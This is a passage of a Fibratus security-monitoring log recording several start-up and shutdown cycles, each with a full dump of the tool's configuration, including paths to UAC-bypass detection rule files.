source=etw/source.go:286 +time=2025-11-26T20:53:56+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T20:53:56+01:00 level=info msg=bootstrapping with pid 17152. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T20:53:56+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ enabled=>false sound=>true quiet-mode=>false] mail=>[ enabled=>false to=>[] content-type=>text/html port=>25 use-template=>true] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-envs=>true serialize-images=>false serialize-handles=>false] + eventsource .................... [ buffer-size=>512 enable-mem=>false enable-image=>true enable-registry=>true stack-enrichment=>true enable-dns=>false min-buffers=>16 enable-audit-api=>true enable-vamap=>true enable-thread=>true enable-handle=>false enable-fileio=>true enable-threadpool=>false flush-interval=>1s max-buffers=>36 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-size=>100 max-backups=>15 max-age=>0 formatter=>text level=>info] + output ......................... [ amqp=>[ vhost=>/ routing-key=>fibratus url=>amqp://localhost:5672 exchange=>fibratus timeout=>5s exchange-type=>topic durable=>false delivery-mode=>transient tls-insecure-skip-verify=>false enabled=>false passive=>false] elasticsearch=>[ timeout=>5s healthcheck-interval=>10s flush-period=>1s template-name=>fibratus bulk-workers=>1 enabled=>false trace-log=>false gzip-compression=>false servers=>[http://127.0.0.1:9200] index-name=>fibratus healthcheck=>true healthcheck-timeout=>5s sniff=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] http=>[ serializer=>json timeout=>5s endpoints=>[] tls-insecure-skip-verify=>false enable-gzip=>false enabled=>false method=>POST] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] skip-mmaps=>false scan-timeout=>10s fastscan=>true skip-files=>false skip-allocs=>false excluded-procs=>[] enabled=>false skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T20:53:57+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T20:53:59+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T20:54:15+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T20:54:16+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T20:54:16+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T20:55:11+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T20:55:11+01:00 level=info msg=bootstrapping with pid 8916. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T20:55:11+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] port=>25 content-type=>text/html use-template=>true enabled=>false] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-envs=>true serialize-images=>false serialize-handles=>false] + eventsource .................... [ enable-image=>true enable-threadpool=>false flush-interval=>1s enable-handle=>false enable-registry=>true enable-dns=>false min-buffers=>16 enable-audit-api=>true max-buffers=>36 buffer-size=>512 enable-fileio=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-mem=>false enable-net=>true enable-vamap=>true enable-thread=>true stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info formatter=>text max-age=>0 log-stdout=>true max-size=>100 max-backups=>15] + output ......................... [ amqp=>[ vhost=>/ passive=>false exchange-type=>topic routing-key=>fibratus enabled=>false tls-insecure-skip-verify=>false delivery-mode=>transient url=>amqp://localhost:5672 exchange=>fibratus durable=>false timeout=>5s] http=>[ timeout=>5s tls-insecure-skip-verify=>false serializer=>json endpoints=>[] method=>POST enabled=>false enable-gzip=>false] elasticsearch=>[ enabled=>false servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s sniff=>false healthcheck-timeout=>5s index-name=>fibratus template-name=>fibratus healthcheck=>true gzip-compression=>false trace-log=>false flush-period=>1s timeout=>5s bulk-workers=>1] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false skip-allocs=>false skip-registry=>false excluded-files=>[] skip-mmaps=>false excluded-procs=>[] fastscan=>true scan-timeout=>10s skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T20:55:11+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T20:55:13+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T20:55:13+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T20:55:14+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T20:55:15+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T20:55:28+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T20:55:28+01:00 level=info msg=bootstrapping with pid 7124. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T20:55:29+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false] mail=>[ to=>[] use-template=>true enabled=>false port=>25 content-type=>text/html]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-threads=>false serialize-envs=>true serialize-handles=>false serialize-pe=>false] + eventsource .................... [ enable-image=>true enable-threadpool=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] flush-interval=>1s stack-enrichment=>true enable-fileio=>true enable-thread=>true enable-registry=>true enable-handle=>false enable-mem=>false max-buffers=>36 enable-vamap=>true enable-dns=>false buffer-size=>512 enable-audit-api=>true min-buffers=>16 enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 max-age=>0 formatter=>text log-stdout=>true level=>info max-size=>100] + output ......................... [ console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] amqp=>[ exchange=>fibratus exchange-type=>topic passive=>false tls-insecure-skip-verify=>false timeout=>5s durable=>false routing-key=>fibratus enabled=>false vhost=>/ url=>amqp://localhost:5672 delivery-mode=>transient] http=>[ serializer=>json method=>POST endpoints=>[] timeout=>5s enabled=>false tls-insecure-skip-verify=>false enable-gzip=>false] elasticsearch=>[ timeout=>5s trace-log=>false healthcheck-interval=>10s healthcheck=>true gzip-compression=>false sniff=>false enabled=>false servers=>[http://127.0.0.1:9200] flush-period=>1s bulk-workers=>1 index-name=>fibratus template-name=>fibratus healthcheck-timeout=>5s] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ excluded-images=>[svchost.exe] read-sections=>false enabled=>false read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false excluded-procs=>[] skip-allocs=>false skip-files=>false excluded-files=>[] scan-timeout=>10s enabled=>false skip-mmaps=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-26T20:55:29+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T20:55:31+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T20:55:40+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T20:55:41+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T20:55:41+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T20:56:27+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T20:56:27+01:00 level=info msg=bootstrapping with pid 18532. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T20:56:28+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ use-template=>true to=>[] content-type=>text/html enabled=>false port=>25] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-handles=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ max-buffers=>36 enable-handle=>false enable-fileio=>true buffer-size=>512 enable-image=>true enable-thread=>true stack-enrichment=>true enable-audit-api=>true enable-dns=>false min-buffers=>16 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-registry=>true enable-threadpool=>false flush-interval=>1s enable-mem=>false enable-net=>true enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 level=>info max-size=>100 formatter=>text log-stdout=>true max-backups=>15] + output ......................... [ elasticsearch=>[ enabled=>false servers=>[http://127.0.0.1:9200] trace-log=>false bulk-workers=>1 gzip-compression=>false flush-period=>1s healthcheck=>true index-name=>fibratus timeout=>5s healthcheck-timeout=>5s sniff=>false healthcheck-interval=>10s template-name=>fibratus] eventlog=>[ enabled=>false level=>info] http=>[ enable-gzip=>false method=>POST enabled=>false timeout=>5s serializer=>json tls-insecure-skip-verify=>false endpoints=>[]] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] amqp=>[ durable=>false tls-insecure-skip-verify=>false passive=>false enabled=>false timeout=>5s exchange=>fibratus delivery-mode=>transient url=>amqp://localhost:5672 routing-key=>fibratus vhost=>/ exchange-type=>topic]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-mmaps=>false fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false scan-timeout=>10s excluded-files=>[] enabled=>false skip-files=>false skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T20:56:28+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T20:56:30+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T20:57:15+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T20:57:15+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T20:57:16+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T20:58:27+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T20:58:27+01:00 level=info msg=bootstrapping with pid 19856. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T20:58:27+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ port=>25 content-type=>text/html use-template=>true enabled=>false to=>[]] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-handles=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ min-buffers=>16 enable-mem=>false enable-dns=>false max-buffers=>36 flush-interval=>1s enable-image=>true enable-net=>true enable-audit-api=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] stack-enrichment=>true enable-threadpool=>false enable-fileio=>true enable-vamap=>true enable-thread=>true buffer-size=>512 enable-handle=>false enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] from-urls=>[] enabled=>true]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info log-stdout=>true max-size=>100 formatter=>text max-backups=>15 max-age=>0] + output ......................... [ elasticsearch=>[ enabled=>false healthcheck-timeout=>5s healthcheck-interval=>10s gzip-compression=>false flush-period=>1s servers=>[http://127.0.0.1:9200] sniff=>false index-name=>fibratus healthcheck=>true template-name=>fibratus trace-log=>false bulk-workers=>1 timeout=>5s] amqp=>[ delivery-mode=>transient url=>amqp://localhost:5672 vhost=>/ exchange=>fibratus routing-key=>fibratus exchange-type=>topic timeout=>5s enabled=>false durable=>false passive=>false tls-insecure-skip-verify=>false] http=>[ method=>POST enable-gzip=>false tls-insecure-skip-verify=>false timeout=>5s enabled=>false serializer=>json endpoints=>[]] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] read-sections=>false enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] skip-mmaps=>false scan-timeout=>10s enabled=>false excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false fastscan=>true skip-registry=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T20:58:28+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T20:58:29+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T20:59:03+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T20:59:03+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T20:59:04+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T21:09:09+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T21:09:09+01:00 level=info msg=bootstrapping with pid 16572. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T21:09:09+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false] mail=>[ port=>25 to=>[] enabled=>false content-type=>text/html use-template=>true] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-threads=>false serialize-pe=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ buffer-size=>512 enable-registry=>true enable-thread=>true flush-interval=>1s enable-threadpool=>false enable-dns=>false enable-net=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-image=>true stack-enrichment=>true max-buffers=>36 enable-fileio=>true enable-handle=>false enable-audit-api=>true enable-vamap=>true enable-mem=>false min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] enabled=>true from-urls=>[]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-size=>100 max-backups=>15 max-age=>0 log-stdout=>true formatter=>text] + output ......................... [ http=>[ serializer=>json method=>POST enabled=>false endpoints=>[] tls-insecure-skip-verify=>false timeout=>5s enable-gzip=>false] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] elasticsearch=>[ trace-log=>false bulk-workers=>1 healthcheck-timeout=>5s healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] timeout=>5s flush-period=>1s sniff=>false template-name=>fibratus enabled=>false healthcheck=>true index-name=>fibratus gzip-compression=>false] amqp=>[ enabled=>false timeout=>5s tls-insecure-skip-verify=>false routing-key=>fibratus durable=>false url=>amqp://localhost:5672 exchange=>fibratus exchange-type=>topic vhost=>/ passive=>false delivery-mode=>transient]] + pe ............................. [ excluded-images=>[svchost.exe] read-sections=>false read-symbols=>false enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-allocs=>false skip-mmaps=>false skip-registry=>false scan-timeout=>10s excluded-files=>[] skip-files=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-26T21:09:09+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T21:09:11+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T21:09:48+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T21:09:49+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T21:09:49+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T21:22:02+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T21:22:02+01:00 level=info msg=bootstrapping with pid 4320. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T21:22:02+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] mail=>[ use-template=>true enabled=>false content-type=>text/html port=>25 to=>[]] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false] + eventsource .................... [ enable-net=>true enable-vamap=>true enable-image=>true min-buffers=>16 flush-interval=>1s buffer-size=>512 enable-registry=>true enable-mem=>false enable-threadpool=>false max-buffers=>36 enable-audit-api=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-handle=>false enable-thread=>true stack-enrichment=>true enable-fileio=>true enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-backups=>15 level=>info max-age=>0 log-stdout=>true formatter=>text] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] elasticsearch=>[ index-name=>fibratus timeout=>5s trace-log=>false flush-period=>1s healthcheck-timeout=>5s template-name=>fibratus sniff=>false bulk-workers=>1 healthcheck=>true healthcheck-interval=>10s gzip-compression=>false servers=>[http://127.0.0.1:9200] enabled=>false] http=>[ enabled=>false tls-insecure-skip-verify=>false method=>POST timeout=>5s endpoints=>[] enable-gzip=>false serializer=>json] amqp=>[ exchange=>fibratus passive=>false delivery-mode=>transient timeout=>5s routing-key=>fibratus vhost=>/ durable=>false exchange-type=>topic url=>amqp://localhost:5672 enabled=>false tls-insecure-skip-verify=>false] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-sections=>false read-symbols=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false skip-mmaps=>false skip-files=>false fastscan=>true skip-allocs=>false excluded-files=>[] excluded-procs=>[] scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-26T21:22:02+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T21:22:04+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T21:22:34+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T21:22:34+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T21:22:34+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T21:24:13+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T21:24:13+01:00 level=info msg=bootstrapping with pid 17424. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T21:24:13+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ to=>[] use-template=>true content-type=>text/html port=>25 enabled=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-pe=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ enable-vamap=>true enable-thread=>true enable-fileio=>true min-buffers=>16 enable-audit-api=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-threadpool=>false flush-interval=>1s buffer-size=>512 stack-enrichment=>true max-buffers=>36 enable-mem=>false enable-registry=>true enable-image=>true enable-net=>true enable-handle=>false enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 level=>info max-age=>0 formatter=>text log-stdout=>true max-backups=>15] + output 